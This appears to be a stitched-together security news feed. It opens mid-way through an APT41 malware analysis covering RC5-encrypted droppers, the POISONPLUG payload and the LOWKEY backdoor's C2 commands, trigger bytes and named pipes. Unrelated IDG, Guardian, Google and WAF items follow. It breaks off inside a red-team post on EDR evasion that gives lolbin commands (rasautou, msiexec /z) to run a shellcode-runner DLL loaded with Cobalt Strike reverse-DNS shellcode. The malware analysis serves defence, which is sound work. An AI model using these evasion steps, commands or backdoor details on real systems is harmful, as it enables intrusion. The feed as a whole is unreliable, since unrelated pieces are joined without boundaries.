The sample then determines its own module name, appends the extension mui to it and attempts to decrypt the file using RC5 encryption. This effectively decrypts the file the malware just downloaded and stored encrypted on the system previously. As the file has been encrypted with a key based on the volume serial number it can only be executed on the system it was downloaded on or a system that has the same volume serial number, which would be a remarkable coincidence.

An example mui file is the MD5 hash e58d4072c56a5dd3cc5cf768b8f37e5e. Looking at the encrypted file in a hex editor reveals a high entropy (7.999779/8). RC5 uses Electronic Code Book (ECB) mode by default. ECB means that each code block (64 bit) is encrypted independent from other code blocks. This means the same plaintext block always results in the same cipher text, independent from its position in the binary. The file has 792933 bytes in total but almost no duplicate cipher blocks, which means the data likely has an additional layer of encryption.

Without the correct volume serial number nor any knowledge about the plaintext there is no efficient way to decrypt the payload e58d4072c56a5dd3cc5cf768b8f37e5e with just the knowledge of the current sample.

DEADEYE.APPEND

Fortunately searching for the unique string “f@Ukd!rCto R$.“ in combination with artifacts from RC5 reveals additional samples. One of the related samples is DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), which has been previously analyzed by Kaspersky (https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/). This sample is different because it is protected with VMProtect and has the obfuscated binary appended to it. The embedded binary starts at offset 3287552 which can be seen in Figure 3 with the differing File Size and PE Size.


Figure 3: A look at the PE header reveals a larger file size than PE size

The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.


Figure 4: Repeating byte pattern in 37e100dd8b2ad8b301b130c2bca3f1ea

RC5 Brute Forcer

With this knowledge we decided to take a reference implementation of RC5 and add a main function that accounts for the key derivation algorithm used by the malware samples (see Figure 5). Brute forcing is possible as the key is derived from a single DWORD; even though the final key length might be 28 bytes, there are only 4294967296 possible keys. The code shown in Figure 5 generates all possible volume serial numbers, derives the key from them and tries to decrypt 51 36 94 A4 26 5B 0F 19 to 00 00 00 00 00 00 00 00. Running the RC5 brute forcer for a couple of minutes shows the correct volume serial number for the sample, which is 0xc25cff4c.

Note if you want to run the brute forcer yourself
The number of DWORDs of the key in the reference implementation we used is represented by the global c, and we had to change it to 7 to match the malware’s key length of 28 bytes. There were some issues with the conversion because in the malware a zero byte within the generated key ultimately leads to a shorter key length. The implementation we used uses a hard-coded key length (c), so we generated multiple executables with c = 6, c = 5, c = 4… as these usually only ran for a couple of minutes to cover the entire key space. All the samples mentioned in the Appendix 1 could be solved with c = 7 or c = 6.


Figure 5: Main function RC5 brute forcer

The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.

We confirmed the findings from Kaspersky and additionally found a second command and control URL hxxps://steamcommunity[.]com/id/oswal053, as mentioned in our APT 41 report.

Taking everything into account that we learned from DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), we decided to take another look at the encrypted mui file (e58d4072c56a5dd3cc5cf768b8f37e5e). Attempts to brute force the first bytes to match with the ones of the decrypted POISONPLUG payload did not yield any results.

Fortunately, we found additional samples that use the same encryption scheme. In one of the samples the malware authors included two checks to validate the decrypted payload. The expected plaintext at the specified offsets for DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff) is shown in Table 2.

Offset

Expected byte after decryption

0

0x48

1

0x8B

0x3C0

0x48

0x3C1

0x83

Table 2: Byte comparisons after decrypting in DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

Applying these constraints to our brute forcer and trying to decrypt mui file (e58d4072c56a5dd3cc5cf768b8f37e5e) once more resulted in a low number of successful hits which we could then manually check. The correct volume serial number for the encrypted mui is 0x243e2562. Analysis determined the decrypted file is XMRig miner. This also explains why the dropper downloads two files. The first, <MODULE_NAME>.mui is the crypto miner, and the second C:\Windows\System32\wcnapi.mui, is the configuration. The decrypted mui contains another layer of obfuscation and is eventually executed with the command x -c wcnapi.mui. An explanation on how the command was obtained and the additional layer of obfuscation is given in the next part of the blog post.

For a list of samples with the corresponding volume serial numbers, please refer to Appendix 1.

Additional RC4 Layer

An additional RC4 layer has been identified in droppers used by APT41, which we internally track as DEADEYE. The layer has been previously detailed in a blog post by ESET. We wanted to provide some additional information on this, as it was used in some of the samples we managed to brute force.

The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis.

As mentioned in the blog post by ESET, the encrypted payload is prepended with a header. It contains the RC4 encryption key and two fields of variable length, which have previously been identified as file names. These two fields are encrypted with the same RC4 encryption key that is also used to decrypt the payload. The header is shown in Table 3.

Header bytes

Meaning

0 15

RC4 key XOR encoded with 0x37

16 19

Size of loader stub before the header

20 23

RC4 key size

24 27

Command ASCII size (CAS)

28 31

Command UNICODE size (CUS)

32 35

Size of encrypted payload

36 39

Launch type

40 (40 + CAS)

Command ASCII

(40 + CAS) (40 + CAS + CUS)

Command UNICODE

(40 + CAS + CUS) (40 + CAS + CUS + size of encrypted payload)

Encrypted payload

Table 3: RC4 header overview

Looking at the payloads hidden behind the RC5 layer, we observed, that these fields are not limited to file names, instead they can also contain commands used by the reflective loader. If no command is specified, the default parameter is the file name of the loaded payload. In some instances, this revealed the full file path and file name in the development environment. Table 4 shows some paths and file names. This is also how we found the command (x -c wcnapi.mui) used to launch the decrypted mui file from the first part of the blog post.

MD5 hash

Arguments found in the RC4 layer

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\Inner-Loader\x64\Release\Inner-Loader.dll

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\SK3.x\x64\Release\SK3.x.exe

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

UserFunction.dll

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

ProcTran.dll

c11dd805de683822bf4922aecb9bfef5

E:\code\PortReuse\iis-share\2.5\IIS_Share\x64\Release\IIS_Share.dll

c11dd805de683822bf4922aecb9bfef5

UserFunction.dll

c11dd805de683822bf4922aecb9bfef5

ProcTran.dll

Table 4: Decrypted paths and file names

LOWKEY

The final part of the blog post describes the capabilities of the passive backdoor LOWKEY (MD5: 8aab5e2834feb68bb645e0bad4fa10bd) decrypted from DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff). LOWKEY is a passive backdoor that supports commands for a reverse shell, uploading and downloading files, listing and killing processes and file management. We have identified two variants of the LOWKEY backdoor.

The first is a TCP variant that listens on port 53, and the second is an HTTP variant that listens on TCP port 80. The HTTP variant intercepts URL requests matching the UrlPrefix http://+:80/requested.html. The + in the given UrlPrefix means that it will match any host name. It has been briefly mentioned by Kaspersky as “unknown backdoor”.

Both variants are loaded by the reflective loader described in the previous part of the blog post. This means we were able to extract the original file names. They contain meaningful names and provide a first hint on how the backdoor operates.

HTTP variant (MD5: c11dd805de683822bf4922aecb9bfef5)
E:\code\PortReuse\iis-share\2.5\IIS_Share\x64\Release\IIS_Share.dll

TCP variant (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)
E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\SK3.x\x64\Release\SK3.x.exe

The interesting parts are shown in Figure 6. PortReuse describes the general idea behind the backdoor, to operate on a well-known port. The paths also contain version numbers 2.5 and v1.3-53. IIS_Share is used for the HTTP variant and describes the targeted application, DeviceIOContrl-Hook is used for the TCP variant.


Figure 6: Overview important parts of executable path

Both LOWKEY variants are functionally identical with one exception. The TCP variant relies on a second component, a user mode rootkit that is capable of intercepting incoming TCP connections. The internal name used by the developers for that component is E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe.


Figure 7: LOWKEY components

Inner-Loader.dll

Inner-Loader.dll is a watch guard for the LOWKEY backdoor. It leverages the GetExtendedTcpTable API to retrieve all processes with an open TCP connection. If a process is listening on TCP port 53 it injects NetAgent.exe into the process. This is done in a loop with a 10 second delay. The loader exits the loop when NetAgent.exe has been successfully injected. After the injection it will create a new thread for the LOWKEY backdoor (SK3.x.exe).

The watch guard enters an endless loop that executes every 20 minutes and ensures that the NetAgent.exe and the LOWKEY backdoor are still active. If this is not the case it will relaunch the backdoor or reinject the NetAgent.exe.

NetAgent.exe

NetAgent.exe is a user mode rootkit that provides covert communication with the LOWKEY backdoor component. It forwards incoming packets, after receiving the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00, to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}.

The component works by hooking the NtDeviceIoControlFile API. It does that by allocating a suspiciously large region of memory, which is used as a global hook table. The table consists of 0x668A0 bytes and has read, write and execute permissions set.

Each hook table entry consists of 3 pointers. The first points to memory containing the original 11 bytes of each hooked function, the second entry contains a pointer to the remaining original instructions and the third pointer points to the function hook. The malware will only hook one function in this manner and therefore allocates an unnecessary large amount of memory. The malware was designed to hook up to 10000 functions this way.

The hook function begins by iterating the global hook table and compares the pointer to the hook function to itself. This is done to find the original instructions for the installed hook, in this case NtDeviceIoControlFile. The malware then executes the saved instructions which results in a regular NtDeviceIoControlFile API call. Afterwards the IoControlCode is compared to 0x12017 (AFD_RECV).

If the IoControlCode does not match, the original API call results are returned.

If they match the malware compares the first 12 bytes of the incoming data. As it is effectively a TCP packet, it is parsing the TCP header to get the data of the packet. The first 12 bytes of the data section are compared against the hard-coded byte pattern: FF FF 01 00 00 01 00 00 00 00 00 00.

If they match it expects to receive additional data, which seems to be unused, and then responds with a 16 byte header 00 00 00 00 00 91 03 00 00 00 00 00 80 1F 00 00, which seems to be hard-coded and to indicate that following packets will be forwarded to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}. The backdoor component (SK3.x.exe) receives and sends data to the named pipe. The hook function will forward all received data from the named pipe back to the socket, effectively allowing a covert communication between the named pipe and the socket.

SK3.x.exe

SK3.x.exe is the actual backdoor component. It supports writing and reading files, modification of file properties, an interactive command shell, TCP relay functionality and listing running processes. The backdoor opens a named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} for communication.

Data received by the backdoor is encrypted with RC4 using the key “CreateThread“ and then XORed with 0x77. All data sent by the backdoor uses the same encryption in reverse order (first XOR with 0x77, then RC4 encrypted with the key “CreateThread“). Encrypted data is preceded by a 16-byte header which is unencrypted containing an identifier and the size of the following encrypted packet.

An example header looks as follows:
00 00 00 00 00 FD 00 00 10 00 00 00 00 00 00 00

Bytes

Meaning

00 00 00 00 00

unknown

FD 00

Bytes 5 and 6 are the command identifier, for a list of all supported identifiers check Table 6 and Table 7.

00

unknown

10 00 00 00

Size of the encrypted packet that is send after the header

00 00 00 00

unknown

Table 5: Subcomponents of header

The backdoor supports the commands listed in tables Table 6 and Table 7. Most commands expect a string at the beginning which likely describes the command and is for the convenience of the operators, but this string isn't actively used by the malware and could be anything. For example, KILL <PID> could also be A <PID>. Some of the commands rely on two payloads (UserFunction.dll and ProcTran.dll), that are embedded in the backdoor and are either injected into another process or launch another process.

UserFunction.dll

Userfunction.dll starts a hidden cmd.exe process, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} and forwards all received data from the pipe to the standard input of the cmd.exe process. All output from the process is redirected back to the named pipe. This allows interaction with the shell over the named pipe.

ProcTran.dll

The component opens a TCP connection to the provided host and port, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} and forwards all received data from the pipe to the opened TCP connection. All received packets on the connection are forwarded to the named pipe. This allows interaction with the TCP connection over the named pipe.

Identifier

Arguments

Description

0xC8

<cmd> <arg1> <arg2>

Provides a simple shell, that supports the following commands, dir, copy, move, del, systeminfo and cd. These match the functionality of standard commands from a shell. This is the only case where the <cmd> is actually used.

0xC9

<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects UserFunction.dll into the process, which is an interactive shell that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00000}. The backdoor will then forward incoming data to the named pipe allowing for communication with the opened shell. If no PID is provided, the `cmd.exe` is launched as child process of the backdoor process with input and output redirected to the named pipe Microsoft Ole Object {30000-7100-12985-00001-00001}

0xCA

<cmd> <arg1> <arg2>

Writes data to a file. The first argument is the <file_name>, the second argument is an offset into the file

0xCB

<cmd> <arg1> <arg2>
<arg3>

Reads data from a file. The first argument is the <file_name>, the second argument is an offset into the file, the third argument is optional, and the exact purpose is unknown

0xFA

-

Lists running processes, including the process name, PID, process owner and the executable path

0xFB

<cmd> <arg1>

Kills the process with the provided process id (PID)

0xFC

<cmd> <arg1> <arg2>

Copies the files CreationTime, LastAccessTime and LastWriteTime from the second argument and applies them to the first argument. Both arguments are expected to be full file paths. The order of the arguments is a bit unusual, as one would usually apply the access times from the second argument to the third

0xFD

-

List running processes with additional details like the SessonId and the CommandLine by executing the WMI query SELECT Name,ProcessId,SessionId,CommandLine,ExecutablePath FROM Win32_Process

0xFE

-

Ping command, the malware responds with the following byte sequence 00 00 00 00 00 65 00 00 00 00 00 00 06 00 00 00. Experiments with the backdoor revealed that the identifier 0x65 seems to indicate a successful operation, whereas 0x66 indicates an error.

Table 6: C2 commands

The commands listed in Table 7 are used to provide functionality of a TCP traffic relay. This allows operators to communicate through the backdoor with another host via TCP. This could be used for lateral movement in a network. For example, one instance of the backdoor could be used as a jump host and additional hosts in the target network could be reached via the TCP traffic relay. Note that the commands 0xD2, 0xD3 and 0xD6 listed in Table 7 can be used in the main backdoor thread, without having to use the ProcTran.dll.

Identifier

Arguments

Description

0x105

<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects ProcTran.dll into the process, which is a TCP traffic relay component that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00001}. The commands 0xD2, 0xD3 and 0xD6 can then be used with the component.

0xD2

<arg1> <arg2>

Opens a connection to the provided host and port, the first argument is the host, the second the port. On success a header with the identifier set to 0xD4 is returned (00 00 00 00 00 D4 00 00 00 00 00 00 00 00 00 00). This effectively establishes a TCP traffic relay allowing operators to communicate with another system through the backdoored machine.

0xD3

<arg1>

Receives and sends data over the connection opened by the 0xD2 command. Received data is first RC4 decrypted with the key “CreateThread“ and then single-byte XOR decoded with 0x77. Data sent back is directly relayed without any additional encryption.

0xD6

-

Closes the socket connection that had been established by the 0xD2 command

0xCF

-

Closes the named pipe Microsoft Ole Object {30000-7100-12985-00000-00001} that is used to communicate with the injected ProcTran.dll. This seems to terminate the thread in the targeted process by the 0x105 command

Table 7: C2 commands TCP relay

Summary

The TCP LOWKEY variant passively listens for the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00 on TCP port 53 to be activated. The backdoor then uses up to three named pipes for communication. One pipe is used for the main communication of the backdoor, the other ones are used on demand for the embedded payloads.

  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} main communication pipe
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} named pipe used for interaction with the TCP relay module ProcTran.dll
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} named pipe used for the interactive shell module UserFunction.dll

Figure 8 summarizes how the LOWKEY components interact with each other.


Figure 8: LOWKEY passive backdoor overview

Appendix

MD5 HASH

Correct Volume Serial

Dropper Family

Final Payload Family

2b9244c526e2c2b6d40e79a8c3edb93c

0xde82ce06

DEADEYE.APPEND

POISONPLUG

04be89ff5d217796bc68678d2508a0d7

0x56a80cc8

DEADEYE.APPEND

POISONPLUG

092ae9ce61f6575344c424967bd79437

0x58b5ef5c

DEADEYE.APPEND

LOWKEY.HTTP

37e100dd8b2ad8b301b130c2bca3f1ea

0xc25cff4c

DEADEYE.APPEND

POISONPLUG

39fe65a46c03b930ccf0d552ed3c17b1

0x24773b24

DEADEYE.APPEND

POISONPLUG

5322816c2567198ad3dfc53d99567d6e

-

DEADEYE.DOWN

-

557ff68798c71652db8a85596a4bab72

0x4cebb6e9

DEADEYE.APPEND

POISONPLUG

64e09cf2894d6e5ac50207edff787ed7

0x64fd8753

DEADEYE.APPEND

POISONPLUG

650a3dce1380f9194361e0c7be9ffb97

0xeaa61f82

DEADEYE.APPEND

POISONPLUG

7dc6bbc202e039dd989e1e2a93d2ec2d

0xa8c5a006

DEADEYE.APPEND

LOWKEY

7f05d410dc0d1b0e7a3fcc6cdda7a2ff

0x9438158b

DEADEYE.APPEND

LOWKEY

904bbe5ac0d53e74a6cefb14ebd58c0b

0xde82ce06

DEADEYE.APPEND

POISONPLUG

c11dd805de683822bf4922aecb9bfef5

0xcab011e1

DEADEYE.APPEND

LOWKEY.HTTP

d49c186b1bfd7c9233e5815c2572eb98

0x4a23bd79

DEADEYE.APPEND

LOWKEY

e58d4072c56a5dd3cc5cf768b8f37e5e

0x243e2562

None - encrypted data

XMRIG

eb37c75369046fb1076450b3c34fb8ab

0x00e5a39e

DEADEYE.APPEND

LOWKEY

ee5b707249c562dc916b125e32950c8d

0xdecb3d5d

DEADEYE.APPEND

POISONPLUG

ff8d92dfbcda572ef97c142017eec658

0xde82ce06

DEADEYE.APPEND

POISONPLUG

ffd0f34739c1568797891b9961111464

0xde82ce06

DEADEYE.APPEND

POISONPLUG

Appendix 1: List of samples with RC5 encrypted payloads

IDG Contributor Network: Poor cyber resilience: an organization’s Achilles’ heel

Digital advances are recreating global business through ongoing advances in artificial intelligence, the Internet of Things (IoT), data availability, blockchain, and other key areas. The rapidity with which these technologies are evolving and reconfiguring traditional business models keeps increasing. Meanwhile, cyber-threats seem to develop just as fast, if not faster.

Today, cyber-risk is about far more than the data breaches and privacy concerns we’ve all heard about in the news. Now it involves maddeningly clever schemes that can disrupt entire companies, industries, supply chains, and nations, and cost the economy billions of dollars. No company, in any sector, is unaffected. The truth is, organizations must accept that cyber-risk can be mitigated, managed, and recovered from. But it’s impossible to escape from.  

To read this article in full, please click here

China has built ‘massive global data-collection ecosystem’ to boost its interests

Chinese use state-owned enterprises, local tech companies and foreign partnerships, ASPI report says

The Chinese government is sweeping up vast amounts of data from all around the world to bulwark the nation’s security, but most critically to secure the political future of the Communist party, a new report argues.

Engineering Global Consent, a policy brief by the Australian Strategic Policy Institute’s Dr Samantha Hoffman, argues that the Chinese party-state seeks to influence – and where possible control – global online and political environments so that public sentiment around the world is more favourable towards its interests. China has expanded its operations of influence into organisations such as universities in the UK, the US and Australia.

Related: Peter Dutton: China accuses home affairs minister of 'shocking' and 'malicious' slur

Sign up to receive the top stories from Guardian Australia every morning

Related: Australia's relationship with China in a 'terrible' state after Morrison's US visit, Labor says

Continue reading...

USB-C Titan Security Keys – available tomorrow in the US




Securing access to online accounts is critical for safeguarding private, financial, and other sensitive data online. Phishing - where an attacker tries to trick you into giving them your username and password - is one of the most common causes of data breaches. To protect user accounts, we’ve long made it a priority to offer users many convenient forms of 2-Step Verification (2SV), also known as two-factor authentication (2FA), in addition to Google’s automatic protections. These measures help to ensure that users are not relying solely on passwords for account security.

For users at higher risk (e.g., IT administrators, executives, politicians, activists) who need more effective protection against targeted attacks, security keys provide the strongest form of 2FA. To make this phishing-resistant security accessible to more people and businesses, we recently built this capability into Android phones, expanded the availability of Titan Security Keys to more regions (Canada, France, Japan, the UK), and extended Google’s Advanced Protection Program to the enterprise.

Starting tomorrow, you will have an additional option: Google’s new USB-C Titan Security Key, compatible with your Android, Chrome OS, macOS, and Windows devices.



USB-C Titan Security Key


We partnered with Yubico to manufacture the USB-C Titan Security Key. We have had a long-standing working and customer relationship with Yubico that began in 2012 with the collaborative effort to create the FIDO Universal 2nd Factor (U2F) standard, the first open standard to enable phishing-resistant authentication. This is the same security technology that we use at Google to protect access to internal applications and systems.

USB-C Titan Security Keys are built with a hardware secure element chip that includes firmware engineered by Google to verify the key’s integrity. This is the same secure element chip and firmware that we use in our existing USB-A/NFC and Bluetooth/NFC/USB Titan Security Key models manufactured in partnership with Feitian Technologies.

USB-C Titan Security Keys will be available tomorrow individually for $40 on the Google Store in the United States. USB-A/NFC and Bluetooth/NFC/USB Titan Security Keys will also become available individually in addition to the existing bundle. Bulk orders are available for enterprise organizations in select countries.


We highly recommend all users at a higher risk of targeted attacks to get Titan Security Keys and enroll into the Advanced Protection Program (APP), which provides Google’s industry-leading security protections to defend against evolving methods that attackers use to gain access to your accounts and data. You can also use Titan Security Keys for any site where FIDO security keys are supported for 2FA, including your personal or work Google Account, 1Password, Coinbase, Dropbox, Facebook, GitHub, Salesforce, Stripe, Twitter, and more.

IDG Contributor Network: 5 practical ways your organization can benefit from DevSecOps

It’s right there in the moniker: DevSecOps , a portmanteau of Development, Security and Operations,  implies introducing security early on – as a part of a comprehensive, agile Software Development Life Cycle (SDLC) used by your organization, rather than doing so iteratively or waiting until after a release.

Given how security breaches and vulnerabilities have become everyday news, it makes little sense for developers to ignore the seriousness of secure coding anymore. Here’s a little secret though: developers are often not the most security-oriented folks for obvious reasons. It is not their primary duty. The priority for a software developer is to build an app, have it carry-out the intended tasks nicely and perhaps account for the overall user experience (UX) and satisfaction. If they are being diligent, they may incorporate basic ‘security checks’ as a part of their coding processes – such as not blindly trusting user input and sanitizing it, but beyond that, a developer may not alone have adequate bandwidth or expertise to incorporate the most superior security checks in an app.

To read this article in full, please click here

3 Ways to Secure WAF APIs

In a recent cloud WAF hacking, many customers were alarmed when private API keys, salted passwords, and SSL certificates were revealed to have been compromised.

It’s clear from this specific hacking incident that the appropriate steps were not taken to protect customers’ data. One proper security measure that was overlooked was API security.

API security is concerned with the transfer of data connected to the internet, which means broken, exposed, or hacked APIs can lead to breaches. 

For a cloud WAF, they are essential for the integration of the WAF service into the client’s servers. This blog post will delve deeper into what API security means for cloud WAFs and how you can secure your APIs for WAFs.

Encrypt your API keys.

Keys are central to API security. API keys are essentially long strings that uniquely identify an application and allow two applications to communicate over the internet. 

For WAF vendors and customers, securing these keys can mitigate threats such as man-in-the-middle (MITM) attacks (which alter communications of API messages between two parties) by preventing the interception of site traffic. 

However, this can be protected with SSL. By securing all of your webpages using SSL (which encrypts transmitted data) your data sent via web APIs will also be encrypted. 

This is crucial because APIs sometimes contain sensitive information (e.g. email, card information); with encryption, you can thwart off hackers who are trying to intercept your communications. 

Authenticate users that utilize the API keys.

If an API key is not authenticated, there’s no guarantee that the user “calling” the API is the one you intended to issue the WAF API key. By determining the identity of the user, authentication can help reduce the misuse of the system by preventing too many API requests from one user.

While basic authentication can be implemented using SSL, there are more secure alternatives to authenticate users when using WAF APIs. 

These include OAuth 2 and OpenID Connect, two popular industry standards for authentication.

Some WAFs also offer API tokens that support two-factor authentication. For example, a one-time password can be generated to quickly identify your intended recipient. 

Consider using a secure API Gateway.

If properly secured, API gateways can add an added layer of protection. However, many API gateway technologies are designed for integration, and not necessarily designed with security in mind.

These API products simply provide access control, which is not enough to properly APIs from external threats.

However, API security is much more than access control. Because API gateways also handle traffic management, you might be concerned about data leakage and data integrity.

Luckily, WAFs are commonly used to secure API platforms, as they are able to prevent common web exploits misuse and exploitation. A WAF can also help mitigate application-layer DDoS attacks.

Conclusion

Threats posed by vulnerable APIs, including those affecting WAFs, are ever-growing. In fact, 9 of the top 10 vulnerabilities mentioned by the latest OWASP Top 10 now note APIs.

Yet, API security remains overlooked in information security today. This is because API vulnerabilities are not easy to detect without specialized technology.

WAFs are one way to make sure API platforms are secured, and for securing the actual WAF API keys, encryption and authentication will come in handy. 

As threats evolve and organizations become more aware of the threats that vulnerable APIs pose, it’s clear API security will gain more traction in not just the WAF arena but other cloud services as well.

The post 3 Ways to Secure WAF APIs appeared first on Cloudbric.

Staying Hidden on the Endpoint: Evading Detection with Shellcode

True red team assessments require a secondary objective of avoiding detection. Part of the glory of a successful red team assessment is not getting detected by anything or anyone on the system. As modern Endpoint Detection and Response (EDR) products have matured over the years, the red teams must follow suit. This blog post will provide some insights into how the FireEye Mandiant Red Team crafts payloads to bypass modern EDR products and get full command and control (C2) on their victims’ systems.

Shellcode injection or its execution is our favorite method for launching our C2 payload on a victim system; but what is shellcode? Michael Sikorski defines shellcode as a “…term commonly used to describe any piece of self-contained executable code” (Practical Malware Analysis). Most commercial Penetration Testing Frameworks such as Empire, Cobalt Strike, or Metasploit have a shellcode generator built into the tool. The shellcode generator is generally in either a binary format or hex format depending on whether you generate it as raw output or as an application source.

Why do we use shellcode for all our payloads?

The use of shellcode in our red team assessment payloads allows us to be incredibly flexible in the type of payload we use. Shellcode runners can be in written in a wide range of programming languages that can be incorporated into many types of payloads. This flexibility allows us to customize our payloads to support the specific needs of our clients and of any given situation that may arise during a red team assessment. Since shellcode can be launched from inside a payload or injected into an already running process, we can use several techniques to increase the ability of our payloads to evade detection from EDR products depending on the scenario and technology in place in the target environment. Several techniques exist for obfuscating shellcode, such as encryption and custom encoding, that make it difficult for EDR products to detect shellcode from commercial C2 tools on its own. The flexibility and evasive properties of shellcode are the primary reason that we rely heavily on shellcode based payloads during red team assessments.

Shellcode Injection Vs. Execution

One of the most crucial parts of any red team assessment is developing a payload that will successfully, reliably, and stealthily run on the target system. Payloads can either execute shellcode from within its own process or inject shellcode into the address space of another process that will ultimately execute the shellcode. For the purposes of this blog post we’ll refer to shellcode injection as shellcode executed inside a remote process and shellcode execution as shellcode executed inside the payload process.

Shellcode injection is one technique that red teams and malicious attackers use to avoid detection from EDR products and network defenders. Additionally, many EDR products implement detections based on expected behavior of windows processes. For example, an attacker that executes Mimikatz from the context of an arbitrary process, let’s say DefinitelyNotEvil.exe, may get detected or blocked outright because the EDR tool does not expect that process to access lsass.exe. However, by injecting into a windows process, such as svchost.exe, that regularly touches lsass.exe, it may be possible to bypass these detections because the EDR product sees this as an expected behavior.

In this blog post, we’ll cover three different techniques for running shellcode.

  • CreateThread
  • CreateRemoteThread
  • QueueUserAPC

Each of these techniques corresponds to a Windows API function that is responsible for the allocation of a thread to the shellcode, ultimately resulting in the shellcode being run. CreateThread is a technique used for shellcode execution while CreateRemoteThread and QueueUserAPC are forms of shellcode injection.

The following is a high-level outline of the process for running shellcode with each of the three different techniques.

CreateThread
  1. Allocate memory in the current process
  2. Copy shellcode into the allocated memory
  3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  4. Create a thread with the base address of the allocated memory segment
  5. Wait on the thread handle to return
CreateRemoteThread
  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate executable memory within the target process
  4. Write shellcode into the allocated memory
  5. Create a thread in the remote process with the start address of the allocated memory segment


Figure 1: Windows API calls for CreateRemoteThread injection

QueueUserAPC
  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate memory within the target process
  4. Write shellcode into the allocated memory
  5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  6. Open a thread in the remote process with the start address of the allocated memory segment
  7. Submit thread to queue for execution when it enters an “alertable” state
  8. Resume thread to enter “alertable” state


Figure 2: Windows API calls for QueueUserAPC injection

Command Execution

Let’s break down what we’ve talked about so far:

  • Malicious code is your shellcode – the stage 0 or stage 1 code that is truly going to do the malicious work.
  • Standard “shellcode runner” application which executes your code via either injection or execution. Most everyone writes their own shellcode runner, so we don’t necessarily deem this as true malware, the real malware is the shellcode itself.

Now that we’ve covered all that, we need a method to execute the code you compiled. Generally, this is either an executable (EXE) or a Dynamic Link Library (DLL). The Red Team prefers using Living Off the Land Binaries (lolbins) commands which will execute our compiled code.

The reason we can take advantage of lolbins is because of unmanaged exports. At a high level, when an executable calls a DLL it is looking for a specific export within the DLL to execute the code within that export. If the export is not properly protected, then you can craft your own DLL with the export name you know the executable is looking for and run your arbitrary code; which in this case will be your shellcode runner.

Putting It All Together

We set out to develop a shellcode runner DLL that takes advantage of lolbins through unmanaged exports while also providing the flexibility to execute both injected and non-injected shellcode without a need to update the code base. This effort resulted in a C# shellcode runner called DueDLLigence, for which the source code can be found at the GitHub page.

The DueDLLigence project provides a quick and easy way to switch between different shellcode techniques described previously in this blog post by simply switching out the value of the global variable shown in Figure 3.


Figure 3: Shellcode technique variable

The DueDLLigence DLL contains three unmanaged exports inside of it. These exports can be used with the Rasautou, Control, and Coregen native Windows commands as described in Figure 4. Note: The shellcode that is in the example will only pop calc.

Native Windows Executable

Required Export Name

Syntax Used To Run

Rasautou

Powershell

rasautou –d {full path to dll} –p powershell –a a –e e

Control

Cplapplet

Rename compiled “dll” extension to “cpl” and just double click it!

MSIExec

Dllunregisterserver

msiexec /z {full path to dll}

Figure 4: DueDLLigence execution outline

When you open the source code you will find the example uses the exports shown in Figure 5.


Figure 5: Source code for exported entry points

The first thing you should do is generate your own shellcode. An example of this is shown in Figure 6, where we use Cobalt Strike to generate raw shellcode for the “rev_dns” listener. Once that is complete, we run the base64 -w0 payload.bin > [outputFileName] command in Linux to generate the base64 encoded version of the shellcode as shown in Figure 7.


Figure 6: Shellcode generation


Figure 7: Converting shellcode to base64

Then you simply replace the base64 encoded shellcode on line 58 with the base64'd version of your own x86 or x64 shellcode. The screenshot in Figure 6 generated an x86 payload, you will need to check the “use x64 payload” box to generate an x64 payload.

At this point you should reinstall the Unmanaged exports library in the DueDLLigence Visual Studio project because sometimes when you’re using a different project it doesn’t work properly. You can reinstall opening the NuGet package manager console shown in Figure 8 and running the Install-Package UnmanagedExports -Version 1.2.7 command.


